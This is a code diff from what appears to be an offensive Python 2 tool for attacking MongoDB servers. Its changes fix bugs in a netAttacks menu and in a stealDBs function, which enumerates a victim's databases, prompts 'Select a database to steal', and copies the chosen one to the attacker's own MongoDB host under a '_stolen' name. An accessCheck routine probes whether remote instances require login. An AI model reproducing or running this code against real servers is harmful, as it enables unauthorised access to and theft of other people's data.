@@ -490,8 +490,11 @@ def netAttacks(target):
490490 enumGrid (conn )
491491
492492 if attack == "4" :
493- print "\n "
494- stealDBs (myIP ,conn )
493+ if optionSet [4 ] == False :
494+ print "Target database not set!"
495+ else :
496+ print "\n "
497+ stealDBs (myIP ,conn )
495498
496499 if attack == "5" :
497500 print "\n "
@@ -1460,21 +1463,17 @@ def stealDBs(myDB,mongoConn):
14601463 while dbLoot :
14611464 dbLoot = raw_input ("Select a database to steal:" )
14621465
1463- if dbLoot > menuItem :
1466+ if int ( dbLoot ) > menuItem :
14641467 print "Invalid selection."
14651468
14661469 else :
1467- dbLoot = False
1470+ break
14681471
14691472 try :
14701473 #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
14711474 dbNeedCreds = raw_input ("Does this database require credentials (y/n)? " )
14721475
14731476 if dbNeedCreds in no_tag :
1474- if optionSet [4 ] == False :
1475- raw_input ("No IP specified to copy to! Press enter to return to main menu..." )
1476- return
1477-
14781477 myDBConn = pymongo .MongoClient (myDB ,27017 )
14791478 myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
14801479
@@ -1495,8 +1494,8 @@ def stealDBs(myDB,mongoConn):
14951494 else :
14961495 return
14971496
1498- except :
1499- if str (sys . exc_info () ).find ('text search not enabled' ) != - 1 :
1497+ except Exception , e :
1498+ if str (e ).find ('text search not enabled' ) != - 1 :
15001499 raw_input ("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return..." )
15011500 return
15021501
@@ -1543,8 +1542,8 @@ def accessCheck(ip,port,pingIt):
15431542 conn .disconnect ()
15441543 return [0 ,dbVer ]
15451544
1546- except :
1547- if str (sys . exc_info () ).find ('need to login' ) != - 1 :
1545+ except Exception , e :
1546+ if str (e ).find ('need to login' ) != - 1 :
15481547 conn .disconnect ()
15491548 return [1 ,None ]
15501549
0 commit comments